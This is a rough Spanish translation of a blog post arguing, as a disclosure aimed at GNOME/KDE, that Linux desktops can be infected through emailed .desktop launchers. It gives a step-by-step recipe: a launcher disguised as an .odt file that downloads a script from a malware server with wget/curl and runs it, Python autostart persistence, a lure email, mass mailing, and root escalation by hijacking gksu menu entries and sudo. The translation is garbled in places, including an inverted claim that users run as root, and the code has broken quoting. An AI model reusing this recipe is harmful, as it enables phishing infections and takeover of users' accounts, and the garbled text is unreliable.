COMO ESCRIBIR UN VIRUS PARA LINUX EN 5 PASOS FACILES (Traducción autorizadan)
Nota: Posteo lo siguiente para resumir los puntos y comentarios que he recibidocomo parte de los abrumadores comentarios a este artículo. Por favor, lea los siguiente antes (!) de publicar un comentario, ya que algunos los que se quiera referir pueda que ya se hayan abordado.En caso de lo contrario ...... solo desplacese hacia abajo en la Guía compacta paso a paso. Si se quiere conseguir algunos de los antecedentes y las explicaciones que acaba de leer a continuación.El rumor de la arquitectura de Linux a prueba de balasQue hay en torno a este rumor de que Linux es libre de virus. Se dice en la vieja-moda del multi-usuario en Linux (y otros * nix SOs) que esta prevenido contra los malware, ya que los usuarios normalmente ejecutan sus programas en modo de administrador (como usuario root). Se nos recuerda que la ejecución es poco lo que se necesita para ejecutar cualquier cosa - al contrario de Windows - que ejecutan con casi nada y no se fijan en los archivos adjuntos o archivos guardados de mensajes de correo electrónico o desde un navegador web.Por lo tanto, se nos dice que la propia arquitectura de Linux es mucho mas superior a la de Windows y que no es posible la propagación exitosa de malware. Por supuesto - se reconoce - un bajo nivel de error, o un desbordamiento de búfer explotables, esa otra cuestión. Pero, no obstante, los usuarios pueden no sólo atrapar un virus por correo electrónico o la descarga de malware de Internet, al contrario de "los usuarios de Windows". Linux los protege de su propia estupidez.Al menos así va historia . Pero lamentablemente, eso no es verdad. Voy a mostrar cómo es posible en unos pocos pasos escribir un correo electrónico perfectamente válido para un virus de Linux para escritorios modernos. Lo haré porque no quiero descartar Linux. Más bien al contrario: me gusta y apoyo Linux, lo uso en casa y en el trabajo. Soy un gran defensor del software libre y código abierto como los lectores de este blog sabrán. Pero si hay riesgos de seguridad, incluso en mi sistema operativo favorito o distribución, entonces podrá ser discutido. Aún más importante: Una falsa sensación de seguridad es peor que la falta de seguridad. Y sin pretensiones de superioridad ya que esto mejoraría el debate.Algunas notas antes de empezarActualización: Ha habido muchos comentarios acerca de mí utilización sobre el término "virus" que es incorrecto. Se menciona que debo hablar de un "Troyano" en su lugar. Existe un cierto desacuerdo sobre si un virus requiere la interacción del usuario o no, y si se trata de un gusano, estamos hablando de los programas maliciosos que pueden propagarse sin la intervención del usuario. También existe cierto desacuerdo sobre si un programa malicioso que se propaga a través del correo electrónico puede ser considerado como un virus o no. Hay muchas fuentes que mencionan que se le llame a tal cosa un "virus" (un correo electrónico de virus) y otros que sean más exigentes en su definición. Este artículo no tiene la intención de entrar en ese debate. Estoy llamando a este malware "virus", este sí requiere de la interacción del usuario y aunque yo no proporcione el código para saber cómo propagarlo de forma propia (el código sólo se proporciona como de muy alto nivel de pseudo-código).Debo señalar que: Las vulnerabilidades toman ventaja de las características "de los entornos de escritorio más populares y modernos de Linux Gnome y KDE. El verdadero núcleo de Linux no tiene ninguna de estas vulnerabilidades. Linux (o cualquier otro * nix) sin ejecutar el sistema de Gnome o KDE no presentan ninguno de estos problemas, que es una de las grandes ventajas de separar adecuadamente el núcleo del sistema operativo u otras aplicaciones, tales como el entorno de escritorio. Por otro lado, si se ejecutara en estos entornos de escritorio en otros SOs (tal vez en FreeBSD, por ejemplo), entonces posiblemente tengan que tratar con la misma vulnerabilidad. Un título más preciso para este mensaje de correo electrónico, por lo tanto, podría haber sido: ¿Cómo escribir un virus para Gnome/KDE en 5 sencillos pasos. Gnome y KDE son especialmente utilizados en Linux, creo que un virus basado en estos riesgos afectaría a la mayoría de los usuarios de Linux. Así pues, el título elegido sigue siendo válido.En este artículo se explica qué medidas son necesarias adoptar para infectar un equipo de escritorio y la manera de instalar el software malintencionado y proporcionará información de antecedentes sobre las razones por las que estas medidas sean necesarias así como la razón por la que realmente trabajan. Después de esta explicación hay una más Guía compacta paso a paso al final de esta síntesis. Aunque hay algunos fragmentos de código, el artículo no proporciona ninguna de las piezas de código listo para usarse de este malware.Hace unos días envié un mensaje a los equipos de seguridad en Ubuntu y Fedora, preguntando si les gustaría echar un vistazo a esto antes de publicar. El equipo de Ubuntu no ha respondido todavía, pero el equipo de Fedora me dijo que este es "muy conocido y el comportamiento esperado" y que no tienen ningún problema con la publicación de este. ¿Bien conocido y esperado? ¿En serio? Pues bien, aquí vamos.¿Cómo abren los usuarios los archivos adjuntos: ¡Echa un vistazo a estas fotos desnuda!Si está esperando algunas nuevas, como cosas explotando o algo más inteligente por ejemplo un hackeo, voy totalmente a desilusionarlo. Lo que estoy mostrando aquí es sólo un ejemplo de cómo la vieja escuela de ingeniería social "virus" (que apenas merece ese nombre) que tanto a molestado al mundo de Windows durante tanto tiempo, se pueda ejecutar en Linux, o cualquier otros * nix OS con un moderno entorno de escritorio.La premisa de este tipo de "virus" es muy simple: Obtener un usuario que ejecute un archivo adjunto ejecutable que se le allá enviado por correo electrónico. Esto no requiere de conocimiento técnico. No hay magia negra aquí. De ningún modo estoy tomando ventaja de una nueva explotación. Para hacerlo funcionar en Linux estoy utilizando las "características" de los modernos entornos de escritorio de formas involuntaria, supongo. Después de todo, "bien conocido y esperado".Hacer esto en Windows es sencillo. Usted crea sus propios programas maliciosos como un archivo EXE, adjuntarlo a un mensaje que dice algo como: "Whoa, consulte estas fotos de desnudos ....!". El desventurado usuario hace doble clic sobre el archivo adjunto, que en Windows - en ausencia de alguno decente software anti-virus - obedientemente se ejecutara. Antes de que usted lo sepa, el malware está instalado y se apropiara de su sistema. La ejecución del .EXE desde clientes de correo electrónico en Windows es, por supuesto, también "muy conocido y esperado".¿Crees que esto no es posible bajo Linux? Por supuesto que sí. Solo requiere de uno o dos pasos más. Sin embargo, no hay nada fundamental sobre la arquitectura de Linux, que evite la estupidez o la ignorancia del usuario, que es, por supuesto, el ingrediente principal en cualquier situación de ataque como este.Sólo hay un pequeño obstáculo, que necesita ser superada. Bueno, dos, en realidad.En primer lugar, la mayoría de clientes de correo electrónico para Linux no ejecutan archivos adjuntos. Puede que intente abrir si se conoce la extensión como una indicación de un documento o tipo de medio (.Pdf y otros documentos, por ejemplo). Pero eso es todo. Entonces, digamos que ha escrito su malware con una buena secuencia de comandos Python. En ese caso, su secuencia de comandos puede tener la terminación .py, pero el cliente de correo electrónico sigue siendo poco probable que invocará el intérprete de Python para usted. Tendría que cambiar la configuración del sistema para hacerlo, y ¿quién haría algo como esto?No; necesitamos un enfoque ligeramente diferente. De algo que siempre se ejecuta al hacer clic sobre el. Y aquí es, entonces, donde el usuario debe adoptar un paso mas, lo que podría reducir un poco la tasa de éxito de ataque de esta situación. El usuario debe primero guardar los datos adjuntos y a continuación, hacer doble clic en él. Porque si bien el cliente de correo electrónico normalmente no puede ejecutar un archivo ejecutable en el entorno de escritorio como se puede ver. Por lo tanto, el mensaje de correo electrónico tendrá que ser algo así:
Whoa, consulte estas fotos de desnudos ...!
(si el archivo adjunto no se desea abrir
sólo guardarlo en tu escritorio y abrirlo ...)
Esto te suena sospechoso como a la mayoría de nosotros, pero "la mayoría" no son "todos", los usuarios y la estupidez está en todas partes. Además, muchos de los usuarios que se basan en la web son clientes de correo electrónico que utilizan como primera rutina guardar de cualquier forma.
No subestimar la ignorancia del usuario - incluso en Linux
Podrás argumentar que la mayoría de los usuarios de Linux tienden a ser un poco mas conscientes de lo que están haciendo. Por lo general, tuvo que hacer una elección consciente sobre su sistema operativo y por tanto, tienden a no ser el típico usuario no técnico. Pero eso está cambiando! A algunos les envían netbooks con Linux por defecto. En ese caso, los usuarios no han elegido Linux y, por tanto, pueden ser tan felizmente ignorante como en Windows que los usuarios que hagan clic en archivos adjuntos de correo electrónico. Además, algunas de las grandes organizaciones están pensando sacar en masa Linux con escritorio por de fauld. Varias ciudades y gobiernos de todo el mundo, por ejemplo. Los usuarios no no tienen conocimientos técnicos, bien y tienen las mismas probabilidades de hacer clic en archivos adjuntos.
Además, el tiempo libre de problemas del pasado han dado a los usuarios de Linux un falso sentido de seguridad. Estamos tan acostumbrados a la constante mantra de "Linux es tan seguro, ni siquiera tiene el software anti-virus!" que probablemente y en realidad no tienen ningún software anti-virus para su captura cuando nosotros estamos a punto de hacer alguna tontería.
Bueno, de nuevo a los aspectos técnicos. La mayoría de clientes de correo electrónico guardar archivos adjuntos en el escritorio del usuario o en el directorio de descarga, cuando el usuario lo quiera buscar. Por lo tanto, si el usuario no quiere examinar el archivo adjunto sin cesar, sino que simplemente hace clic en el botón 'Guardar' en el cliente de correo electrónico, y que normalmente hace este truco: El archivo adjunto estará allí en la cara del usuario. De hecho, me di cuenta de que por alguna razón mi cliente de correo electrónico Evolution a veces tiene problemas normales de apertura, incluso con documentos como archivos adjuntos directamente. Por ejemplo, alguien me envía un expediente .odt , pero Evolution a veces no me inicia OpenOffice. Por lo tanto, cuando esto no funciona, acabo entonces guardando y abriendo. ¡Ya estoy capacitado para hacer este tipo de cosas! Probablemente no soy el único.
Cómo se ejecutan los archivos adjuntos
Hemos dicho anteriormente que los archivos adjuntos normalmente no se ejecutan cuando se almacenan como archivos. No hay ninguna regla que diga que la extensión de archivo indique que un archivo debe ser ejecutado al hacer clic, ya que bajo Windows. (Y este es el segundo gran obstáculo que debemos superar) para el archivo ejecutable bajo Linux (o cualquier otro sistema operativo * nix), la marca de ejecución tendría que ser establecida en los permisos del archivo. Esto es algo que Windows no tiene, y que a menudo es visto como una de las razones por las que puede infectar un PC con Windows de forma tan fácil, y por qué debería ser casi imposible en los sistemas *nix. Al guardar un archivo adjunto de correo electrónico bajo Linux, la marca esta fijada en NO y por lo tanto, el archivo no puede ser ejecutado simplemente haciendo clic en él. Así pues, ¿No se correrá con tal suerte?
No tan rápido. Modernos entornos de escritorio, como Gnome y KDE, convenientemente ofrecer una buena "solución" que se llama "lanzadores". Estos son pequeños archivos que describen cómo algo que debe ser iniciado. Sólo unas pocas líneas que especifican el nombre, el icono que debe mostrarse y el comando a ejecutar. Convenientemente, la sintaxis de los archivos de lanzamiento es el mismo para Gnome y KDE. ¡Y los lanzadores no tienen que tener permisos de ejecución establecidos en ellos! En estos entornos de escritorio tratándose estos archivos como un caso especial, por lo que al hacer clic sobre ellos Gnome o KDE felizmente se ejecutara el comando que se especifica en la descripción de lanzadores y sin la necesidad de que un poco de la ejecución se establezca en el propio lanzador. ¡Ahora si estamos comprendiendo más!
Un problema al que nos enfrentamos ahora es que el comando que puede ser ejecutado por un lanzador sea realmente sólo una línea y un solo comando. Es un poco difícil de instalar malware con un solo comando. ¿O lo es? ¿Qué tal como esta aquí?:
% bash -c "curl
http://www.some_malware_server.org/s.py
-o /tmp/s.py; python /tmp/s.py"
¿Qué significa este único comando y que hace? Comienza bash, un shell de comandos (parte de cualquier instalación por defecto), y pasa una cadena de argumento con dos comandos simples a la misma, que luego ejecute bash. El primer comando (curl) descarga un script de algunos servidor de malware que tiene que crear y, a continuación, almacena la secuencia de comandos en un lugar donde sabemos que podemos escribir a (el directorio /tmp). Tenga en cuenta que en algunos sistemas (Ubuntu, por ejemplo) no tiene curl, sino un comando similar, llamado wget. Que complica la línea de comandos aquí un poco, pero no es un problema insuperable, como se muestra en la guía paso a paso más abajo. El segundo comando (da la llamada al intérprete de Python) que se ejecuta luego recién descargado el script (una secuencia de comandos en este ejemplo). Tanto Python y curl (o wget) están de forman normal en la instalación por defecto de la mayoría de las distribuciones Linux.
Si ponemos esto en la línea de la Exec lanzador por definición entonces un simple clic sobre el lanzador dará lugar a la ejecución de un mando único, que a su vez ejecuta dos comandos, que luego llevan a la descarga y ejecución de una compleja secuencia de comandos arbitrarios. Todos, sin la mas mínima ejecución que se establezca en ninguna lado.
No necesitas ser root para apropiarte de alguien
Nada de lo anterior expuesto requiere privilegios de root. Y ahora nuestro script puede hacer lo que desee dentro de los confines de la cuenta de usuario. Quizá confinado, pero eso no impide la posibilidad de hacer daños importantes.
Por ejemplo, puede empezar a robar a través de la libreta de direcciones del usuario y recoger direcciones de correo electrónico, los envían fuera de malware a nuestro servidor, inicia el envío de spam o el correo electrónico se puede enviar por sí mismo. Se puede instalar una extensión de Firefox que captura contraseñas a medida que el usuario escribe. Se puede comenzar a compartir el escritorio del usuario a través de VNC sin conocimiento del usuario. Se puede iniciar un demonio para que en el fondo aparezcan anuncios. ¡Publicitando Linux!
Todo esto se ejecuta en el proceso de un usuario normal. En verdad, en un sistema de escritorio que normalmente sólo es utilizada por solo un único usuario, la propiedad de cuenta de usuario es casi equivalente a la propiedad root, por eso hace daño en cuestión: Toda acción que interese llevar a cabo en la cuenta de usuario y de cualquier forma.
¿Pero realmente quieres estar como root para el malware? Bueno, hay una manera de hacerlo así, pero esto no está garantizado que trabaje en todos los casos, y francamente no es necesario para infectar una máquina. Entonces, para no distraer de los puntos importantes de este artículo aquí, tengo una punto de discusión como apéndice sobre este tema.
Automáticamente al iniciar el sistema
Pero, incluso si el usuario no es capaz de encontrar el proceso en ejecución, matarlo y luego reiniciar realmente seria absurdo? Ciertamente, se necesitan privilegios de root a fin de obligar a nuestros programas maliciosos que se lanzan automáticamente en caso de reiniciar el sistema, ¿no?
No es así. Los usuarios no necesitan privilegios de root para configurar determinadas aplicaciones para auto ejecutarse cuando se acceda a sus propias sesiones de usuario. Sólo hay que hacer cambios a su propio período de sesiones y cuenta de usuario, no ajustar el sistema. Una vez más, todo comienzo de aplicaciones como parte de la sesión de usuario sólo se pondrá en marcha en el nivel de privilegio del usuario, pero como hemos visto, esto no es un problema importante. Hay muchas cosas interesantes que se puede hacer incluso en ese caso.
Entonces, ¿cómo conseguimos que se auto ejecute cuando al iniciar el usuario se conecte? Hay una serie de scripts que se ejecutan al iniciar un shell, pero el usuario que probablemente haga clic en un archivo adjunto sospechoso no es probable que inicie un shell, en su caso muy a menudo. Afortunadamente, los modernos entornos de escritorio tienen su propio conjunto de comandos que se auto ejecutan al inicio de sesión. En el caso de Gnome, eche un vistazo a lo que se encuentra en ~ /.config/autostart (este directorio puede no existir todavía, si no se ha configurado algún aplicaciones de inicio automático). ¡Así es! ¡Más lanzadores! Esto es cada vez que ejecute el usuario al inicia sesión en Gnome. Para KDE es aún más simple: Sólo enlace a su ejecutable desde el directorio ~ /.kde/autostart.
Nuestros programas maliciosos, sólo tiene que crear una entrada adecuada en esos directorios y se comenzarán a correr cuando el usuario se conecta!
Y eso es todo lo que a el se refiere. Dejo el script de la secuencia de comandos de software malicioso como un ejercicio para el lector.
Guía compacta paso a paso.
Bueno, aquí está el resumen a continuación, que también llena en unos pocos detalles más específicos:
1. Escribir una pieza de malware de su elección. ¿Tal vez como una secuencia de comandos Python? Buen lenguaje, código eficiente, pre-instalado en la mayoría de distribuciones Linux y poderosa biblioteca estándar de apoyo (por ejemplo, las bibliotecas para el envío de peticiones HTTP y SMTP manejo son parte de la mayoría de las instalaciones). Colocar el malware en algunos servidor web.
2. El malware necesita la capacidad de instalar un lanzador por sí mismo de modo que se inicia cuando el usuario inicia sesión como ya se mencionó, para Gnome que significa crear un lanzador en la descripción ~ /.config/carpeta automáticamente. Para KDE solo enlace a su ejecutable desde el directorio ~ /.kde/autostart . Para hacer que el código viral puede simplemente forzar la distribución y copiar de un lanzador o un enlace a sí mismo en ambas direcciones (creación de directorios en la ruta si no existe) o puede ser un poco mas inteligente y elegir hacer lo correcto basado en el entorno de escritorio que se detecte.
Por ejemplo, para crear el acceso directo de KDE, todo lo que necesita para escribir en Python es el siguiente:
import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")
Para Gnome el script de Python necesita escribir un lanzador en el directorio adecuado:
import os
relauncher_str = """
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
"""
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()
Escribir las entradas este auto ejecutable es probable que sean algunas de las primeras acciones que debe realizar su programa malicioso.
3. Ahora crear un lanzador en el escritorio para el archivo instalador del malware, es diferente que el lanzador que usamos para reiniciar el programa viral después de un reinicio del sistema. El lanzador de escritorio del instalador es lo que se enviaría como archivo adjunto en el correo electrónico dirigido al usuario. Es al que el usuario hace clic una vez guardado. Pruebe con algo como esto:
[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
DROP=~/.local/.hidden ;
mkdir -p $DROP;
if [ -e /usr/bin/wget ] ;
then wget $URL -O $DROP/s.py ;
else curl $URL -o $DROP/s.py ; fi;
python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png
Notese que hemos especificado un nombre de aspecto inofensivo e incluso opto por un icono que le hace parecer como un documento normal (este icono está presente tanto en los sistemas Ubuntu (Gnome) y Kubuntu (KDE) , pero que tampoco seria molesto en Fedora). Si pretendes enviar fotos de desnudos en el correo electrónico, basta con darle un nombre que lo hace sonar como una imagen (con algo. Jpg al final) eligiendo uno de los iconos estándar de imagen.
La linea del Ejecutable es ahora un poco más pequeña, tomado en cuenta la posibilidad de que este instalado wget o curl. Por ejemplo, en Ubuntu suelen tener wget, mientras que Fedora viene con curl. Así, pasamos las órdenes a bash con el fin de comprobar que uno de ellos está presente, a continuación llama al comando correcto para descargar el malware. No soy experto en bash, por lo que podría ser una forma mucho más eficiente para hacerlo. Sin embargo, usted puede tener otra forma de hacerlo. Asimismo, en esa línea estamos creando una buena ubicación para el script ($ DROP), que no es inmediatamente evidente. El comando mkdir con la opción -p crea discretamente cualquier directorio padre que sea necesario. La meta está en el directorio home del usuario, escondido en algún directorio local que apunte inocentemente y que sólo puede ser visto en caso de mostrar los archivos ocultos. El directorio /tmp, por supuesto, no es un buen lugar para nuestro programa malicioso, ya que se limpia con cada reinicio del sistema.
Guardar este archivo lanzador con el nombre que se a especificado pero añadir en la linea de Name '.desktop' al final del nombre de archivo real. Así pues, en nuestro caso, que guarde el archivo como 'some_text.odt.desktop ». Cuando lo coloques en tu escritorio, veras que GNOME o KDE lo tratarán de una manera especial, no se muestra la extensión'.desktop' . Así, el archivo sólo aparece como "some_text.odt». Por supuesto, eso también significa que el archivo adjunto de correo también tendrá esta intencional. Algunos usuarios pueden notarlo, pero muchos otros no.
4. Adjunte este archivo a un correo electrónico, pidiendo al destinatario guardarlo y abrir el archivo adjunto. Como se ha explicado anteriormente, una vez que se ha guardado solo aparecerá como "some_text.odt 'en el escritorio del usuario. Y con el icono que hemos elegido de dicho lanzador que parecerá inofensivo.
Se envía este mensaje a la mayor cantidad de direcciones de correo electrónico que puedas tener.
¡Voila! Un virus de Linux en 5 sencillos pasos. Cada usuario que abre y guarda el archivo adjunto que les han enviado recibirá su propio correo infectado con el script malware de tu elección, que también reinicia cada vez que el usuario se conecta de nuevo.
Esto fue fácil, ¿no?
Soluciones para el problema
La solución mas sencilla para evitar este tipo de problema es no solo no hacer clic en archivos adjuntos a ciegas, también conocer al que nos lo haya enviado. ¿Suena como una frase que siempre se escucha en el contexto de Windows con anterioridad? Observarlo. El punto es: Incluso en Linux estos consejos deberán ser tomadas en serio.
Un paso que podrá ser adoptado por desarrolladores de Gnome y KDE: Que los lanzadores tengan permisos de ejecución. Un archivo adjunto guardado no tendrá la misma facilidad. Por lo tanto, a pesar de que una sintaxis sea correcta y adecuadamente llamado lanzador y colocada en el escritorio de un usuario no pueda simplemente hacer clic sobre él e iniciarse si no estuviera establecido un poco para ejecutar.
En tercer lugar, deje de perpetuar el mito de que el malware y los virus son sólo un problema para Windows. Linux es - en principio - vulnerable, por supuesto. Aunque los usuarios no actúan con privilegios de root, en caso de que inadvertidamente ejecutaran solo una pequeña parte del malware entonces causaría mucho daño y automáticamente se procedería a instalarse. El simple hecho de que un archivo adjunto no se ejecutará como root no es una protección útil, como hemos visto. El hecho de que los archivos adjuntos no se guarden como parte de ejecución no es una protección suficiente, puesto que los entornos de escritorio modernos le permiten maniobrar cuidadosamente alrededor de esto.
La limitada cuota del mercado que los escritorio de Linux ofrece cierta protección. La mejor arquitectura de seguridad global ofrece más protección. Pero nada de eso es a prueba de engaños. Y con grandes despliegues de Linux en los lugares de interés - como las organizaciones gubernamentales - estas instalaciones son también de interés para los objetivos de los autores de malware.
¿Thunar?
Curiosamente, el gestor de archivos Thunar bajo xfce (Xubuntu 8.10) está haciendo algo que los administradores de archivos Gnome y KDE no están haciendo: Este puede marcar el lanzador del escritorio como archivo potencialmente viral y por tanto, evitar la ejecución a través de un simple clic. Esto funciona si el archivo adjunto se guardó dentro de Thunderbird o desde dentro de una base de un sistema de correo electrónico, como Yahoo Mail. ¿Alguien sabe qué hace aquí Thunar específicamente para llegar a la conclusión del 'malware'?
Como sea; confirmó que trabajara de forma normal, en la presencia de instalaciones Ubuntu 8.10, Kubuntu 8.10 y Fedora 10. Dado que se trata principalmente sobre la base en función de Gnome y KDE, supongo que la mayoría de las distribuciones que utilizan los ordenadores son vulnerables también.
Bootnote
Hace algún tiempo se lanzo un desafío para escribir un virus que sea capaz de infectar un sistema de escritorio Linux. El reto original que figuran dos salvedades importantes, aunque: En primer lugar, debería de ser capaz de infectar la máquina de la persona que escribió el reto. Nada se sabe acerca de esa máquina. Por ejemplo, no sabemos qué escritorio estaba funcionando. En segundo lugar, el virus debe ser capaz de escribir un archivo en el directorio /etc, a la que normalmente sólo root tiene acceso.
Me gustaría que el contenido de un virus para Linux fuera exitosa si es capaz de infectar a la instalación estándar de algunas de las distribuciones más populares. Sé que el enfoque que propongo será capaz de infectar a una instalación estándar de Ubuntu, Kubuntu y Fedora, por ejemplo.
En segundo lugar, como se ha señalado anteriormente, obtener privilegios de root no es necesario para infectar una computadora Linux. Bueno, ¿esto no es mas que en la cuenta del usuario que está infectado, ¿no? Sin embargo, si solo estamos hablando en su mayoría de computadoras de escritorio, sólo hay que ir a un único usuario. La distinción entre infectar el sistema (como root) o la cuenta de usuario (como el usuario) es totalmente académico, en el mejor de los casos. Esta es una infección práctica es lo mismo que decir "la máquina está infectada". Después de todo, el usuario está mayormente estará logueado y el malware se ejecutara siempre que sea este el caso. De todos modos, me puse en contacto con el autor de este desafío y le explique esta situación. Insiste en las normas originales establecidas en su desafío, sin embargo. Justo lo suficiente, es su reto y por tanto, sus reglas.
Entonces, ¿qué pasa si realmente se quiere hacer como root?
Apéndice: Cómo root
La obtención de privilegios de root son siempre consideradas un poco como el santo grial en peligro de otra máquina. Como hemos visto, que no lo tenga en realidad no es impedimento para tener oportunidad de virus, sin embargo. Pero sólo por complacer, permanente esbozar una forma de malware para obtener su root. Podría haber otras formas, pero esto es lo que se me ocurre por el momento.
Como sabrán, incluso los usuarios de Linux de escritorio normal de vez en cuando hacer cosas como root. En el caso de Ubuntu, por ejemplo, que va a utilizar "sudo" (o el equivalente gráfica gksu) de vez en cuando para llevar a cabo la administración del sistema. Tal vez para administrar usuarios, cambiar la fecha y la hora o para instalar software nuevo. Para muchos asuntos en el Sistema -> Administración menú se pedirá su contraseña. Por defecto, el usuario de un sistema de escritorio de Ubuntu tiende a ser el "administrador" del grupo, que a su vez se menciona en el archivo /etc/sudoers. Así, mediante la inserción de su propia contraseña puede realizar tareas con privilegios de root.
Así que, ahora, ¿cómo podemos sacar provecho de esto? Resulta que los elementos del menú de su escritorio Gnome son configurados individualmente en alguna parte. Quizás podamos piratear, que en lugar de synaptic (el gestor de paquetes gráfico) o cualquier otra utilidad que se ejecuta bajo sudo o gksu) nuestro buen archivo viral ¿se inicia en su lugar? ¿Después de que el usuario ha dado su contraseña para sudo? Pero como resulta que los elementos del menú se definen en un lugar al que sólo root tiene acceso de escritura. Echa un vistazo a /usr/share/applications. Allí se encuentra - de nuevo - un gran número de archivos de lanzador. Se trata de definir los distintos elementos del menú. Por ejemplo, eche un vistazo a synaptic.desktop. Puedes ver allí la siguiente línea:
Exec=gksu /usr/sbin/synaptic
Sí, así que podemos seguir adelante y editar ese, ¿no? Si nuestro programa malicioso podría ir y que a cambio:
Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics
Que nuestro software malicioso se ejecutara con privilegios de root. Tenga en cuenta que hemos pasado furtivamente por el nombre original del ejecutable (/usr/sbin/synaptics) a nuestros programas maliciosos, para que pueda arrancar synaptics después de que se hace permanentemente a sí mismo los privilegios de root o haciendo lo que quiere hacer como root. De esta forma el usuario no se convierte en sospechoso.Pero, por desgracia, no podemos editar ese fichero. ¿Nuevamente corrimos con suerte? Afortunadamente, no. Gnome tiene la amabilidad de ver si podemos tener una definición local de alguno de los archivos de escritorio, debiendo invalidar todos los ajustes del sistema. E ir a ~ /.local/share/applications. Por lo tanto, usted puede copiar el archivo desde synaptic.desktop /usr/share/applications a ~ /.local/ share/ applications y realizar los cambios que desee sobre el mismo. Luego sólo hay que sentarse y esperar a la próxima vez que el usuario inicie synaptics y tu a lo tuyo.Por supuesto, no tienes que limitarte a synaptics. Para tener oportunidad de ser ejecutada con privilegios de root, cualquiera de las aplicaciones en el menú de administración que requieren gksu sera un juego limpio. Y francamente, es probable que pueda hacer cambios similares e introducir gksu a muchos de los elementos de menú en Sistema -> Preferencias. Como usuario de Ubuntu que utilizan su contraseña para darla a gksu de vez en cuando. Si el usuario no presta atención, ni siquiera notará que sólo se le pregunta por su contraseña de alguna utilidad de la que nunca había pedido la contraseña antes.Y para aquellos usuarios que gustan de utilizar el shell: Bueno, en este caso, el malware puede simplemente enredar su ruta y definir una 'tuned' de la versión 'sudo' en su ruta, que es ejecutado cada vez que escriba 'sudo'Como puedes ver, esto no es garantía para hacerse de root (si el usuario no utiliza los programas), pero hay una buena probabilidad de que se consiga finalmente, si eres paciente.Actualización, febrero 12, 2009: Esto realmente me sorprendió, si yo fuera la primera persona que tuviera esta vulnerabilidad. Mirando un poco en todo el Internet, no pude encontrar ninguna referencia de esto. Así, el editor de LWN.net hizo un mejor trabajo. Como se señala aquí, ha habido discusión sobre las vulnerabilidades introducidas para archivos .desktop ya en el 2006.Nota: Posteo lo siguiente para resumir los puntos y comentarios que he recibido como parte de la abrumadora comentarios a este artículo. Por favor, lea este seguimiento antes (!) publicar un comentario, ya que algunos de lo que puede querer decir, puede que ya se han abordado.